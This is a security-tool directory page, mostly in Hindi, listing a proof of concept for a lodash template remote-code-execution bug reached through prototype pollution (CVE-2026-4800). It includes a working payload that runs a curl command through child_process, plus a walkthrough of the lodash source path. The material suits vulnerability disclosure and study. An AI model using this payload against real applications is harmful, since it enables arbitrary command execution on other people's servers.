Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-4800-POC — प्रोटोटाइप प्रदूषण के माध्यम से lodash टेम्पलेट में रिमोट कोड निष्पादन प्रदर्शित करने वाला प्रूफ-ऑफ-कॉन्सेप्ट, जिसमें हमले के प्रवाह और शोषण तकनीक का विस्तृत विश्लेषण शामिल है। | Kitploit
उपकरण/GitHubGitHub/threalwinky/cve-2026-4800-poc
भेद्यता विश्लेषणकोड विश्लेषणशोषणवेब एप्लिकेशन शोषणपेलोड डेवलपमेंट
GitHubthrealwinky/cve-2026-4800-poc

CVE-2026-4800-POC

प्रोटोटाइप प्रदूषण के माध्यम से lodash टेम्पलेट में रिमोट कोड निष्पादन प्रदर्शित करने वाला प्रूफ-ऑफ-कॉन्सेप्ट, जिसमें हमले के प्रवाह और शोषण तकनीक का विस्तृत विश्लेषण शामिल है।

रिपॉजिटरी देखें
24 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-4800-POC

सुरक्षा सलाह

https://github.com/lodash/lodash/security/advisories/GHSA-r5fr-rjxr-66jc

POC

root@kitploit:~
const _ = require('lodash');
Object.prototype.imports = {'x=process.getBuiltinModule("child_process").execSync("curl https://example.com")':undefined}
_.template('', {});

alt text

प्रवाह

  • पहले से मौजूद प्रोटोटाइप प्रदूषण भेद्यता का उपयोग करके Object.prototype.imports को हमलावर-नियंत्रित गुण से प्रदूषित करना

  • इसके बाद, यह _.template('', {}) को सामान्य सादे-ऑब्जेक्ट विकल्प मान के साथ कॉल करता है

  • _.template() के अंदर, lodash options को के साथ पर कॉपी करता है

assignInWith({}, options, settings, ...)
lodash.js:14877
root@kitploit:~
function template(string, options, guard) {
      // Based on John Resig's `tmpl` implementation
      // (http://ejohn.org/blog/javascript-micro-templating/)
      // and Laura Doktorova's doT.js (https://github.com/olado/doT).
      var settings = lodash.templateSettings;

      if (guard && isIterateeCall(string, options, guard)) {
        options = undefined;
      }
      string = toString(string);
      options = assignInWith({}, options, settings, customDefaultsAssignIn);


...
  • assignInWith lodash.js:12778 पर keysIn(source) का उपयोग करता है
root@kitploit:~
    var assignInWith = createAssigner(function(object, source, srcIndex, customizer) {
      copyObject(source, keysIn(source), object, customizer);
    });

  • keysIn() lodash.js:13440 पर विरासत में मिले गणनीय गुणों को शामिल करता है
root@kitploit:~
    function keysIn(object) {
      return isArrayLike(object) ? arrayLikeKeys(object, true) : baseKeysIn(object);
    }

  • क्योंकि options ऑब्जेक्ट एक सामान्य {} है, यह Object.prototype से प्रदूषित imports गुण को विरासत में प्राप्त करता है, और lodash उस विरासत में मिले मान को स्थानीय options.imports में कॉपी करता है

  • lodash फिर lodash.js:14889 पर assignInWith({}, options.imports, settings.imports, ...) के साथ imports बनाता है, lodash.js:14889 पर importsKeys निकालता है, और उन्हें lodash.js:14957 पर Function(importsKeys, ...) में पास करता है

root@kitploit:~
...

      // Cleanup code by stripping empty strings.
      source = (isEvaluating ? source.replace(reEmptyStringLeading, '') : source)
        .replace(reEmptyStringMiddle, '$1')
        .replace(reEmptyStringTrailing, '$1;');

      // Frame code as the function body.
      source = 'function(' + (variable || 'obj') + ') {\n' +
        (variable
          ? ''
          : 'obj || (obj = {});\n'
        ) +
        "var __t, __p = ''" +
        (isEscaping
           ? ', __e = _.escape'
           : ''
        ) +
        (isEvaluating
          ? ', __j = Array.prototype.join;\n' +
            "function print() { __p += __j.call(arguments, '') }\n"
          : ';\n'
        ) +
        source +
        'return __p\n}';

      var result = attempt(function() {
        return Function(importsKeys, sourceURL + 'return ' + source)
          .apply(undefined, importsValues);
      });

...
  • मेरी प्रदूषित कुंजी को डिफ़ॉल्ट अभिव्यक्ति के साथ एक औपचारिक पैरामीटर के रूप में माना जाता है:

    root@kitploit:~
    x=process.getBuiltinModule("child_process").execSync("curl https://example.com")
    
टूल डाउनलोड करें